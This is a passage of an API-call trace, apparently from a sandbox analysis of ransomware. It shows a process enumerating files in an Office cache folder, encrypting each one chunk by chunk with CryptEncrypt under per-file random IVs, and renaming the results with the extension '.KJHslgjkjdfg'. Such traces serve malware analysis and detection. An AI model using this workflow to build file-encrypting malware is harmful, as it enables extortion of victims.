lpOverlapped=0x0) returned 1 [0140.296] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0140.299] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.299] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0140.300] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.300] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0140.300] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0140.300] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0140.304] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0140.307] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.307] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0140.308] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.308] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0140.308] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.308] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.308] SetEndOfFile (hFile=0x124) returned 1 [0140.312] GetProcessHeap () returned 0x2a0000 [0140.312] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0140.312] GetProcessHeap () returned 0x2a0000 [0140.312] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0140.313] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.kjhslgjkjdfg")) returned 1 [0140.313] CloseHandle (hObject=0x124) returned 1 [0140.313] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0140.313] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0140.314] GetProcessHeap () returned 0x2a0000 [0140.314] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0140.314] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0140.314] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0140.314] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xe, lpOverlapped=0x0) returned 1 [0140.431] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0140.431] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.431] GetProcessHeap () returned 0x2a0000 [0140.431] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0140.431] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0140.431] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.431] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0140.431] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0140.431] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0140.431] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0140.431] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0140.431] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0140.432] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0140.432] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.432] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.432] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x10b2, lpOverlapped=0x0) returned 1 [0140.433] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x10c0, dwBufLen=0x10c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x10c0) returned 1 [0140.433] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.433] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x10c0, lpOverlapped=0x0) returned 1 [0140.433] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.433] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.433] SetEndOfFile (hFile=0x124) returned 1 [0140.435] GetProcessHeap () returned 0x2a0000 [0140.435] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0140.436] GetProcessHeap () returned 0x2a0000 [0140.436] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0140.436] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.kjhslgjkjdfg")) returned 1 [0140.441] CloseHandle (hObject=0x124) returned 1 [0140.441] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0140.441] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0140.441] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0140.441] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0140.441] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=36233052) returned 1 [0140.441] GetProcessHeap () returned 0x2a0000 [0140.442] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0140.442] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0140.442] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.442] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0140.444] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0140.444] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.444] GetProcessHeap () returned 0x2a0000 [0140.444] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0140.444] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0140.444] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.445] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0140.445] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0140.445] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0140.445] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0140.445] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0140.445] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0140.445] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0140.445] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.445] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0140.445] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0140.449] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0140.456] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.456] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0140.457] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.457] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0140.457] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0140.457] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0140.462] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0140.466] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.467] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0140.468] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.468] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0140.468] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224df60, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0140.468] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0140.471] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0140.476] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224df60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.476] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0140.477] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.477] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0140.477] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.477] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.477] SetEndOfFile (hFile=0x124) returned 1 [0140.480] GetProcessHeap () returned 0x2a0000 [0140.480] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0140.480] GetProcessHeap () returned 0x2a0000 [0140.480] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0140.480] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.kjhslgjkjdfg")) returned 1 [0140.481] CloseHandle (hObject=0x124) returned 1 [0140.481] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0140.481] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0140.482] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0140.483] GetProcessHeap () returned 0x2a0000 [0140.483] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0140.483] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0140.483] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0140.483] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x6, lpOverlapped=0x0) returned 1 [0140.485] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0140.485] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.485] GetProcessHeap () returned 0x2a0000 [0140.485] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x50) returned 0x2c5278 [0140.485] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5278*, pdwDataLen=0x290f4e0*=0x50, dwBufLen=0x50 | out: pbData=0x2c5278*, pdwDataLen=0x290f4e0*=0x50) returned 1 [0140.485] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.485] WriteFile (in: hFile=0x124, lpBuffer=0x2c5278*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5278*, lpNumberOfBytesWritten=0x290f4f8*=0x50, lpOverlapped=0x0) returned 1 [0140.485] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0140.485] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0140.485] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0140.485] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0140.485] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0140.486] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0140.486] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0140.486] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.486] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, 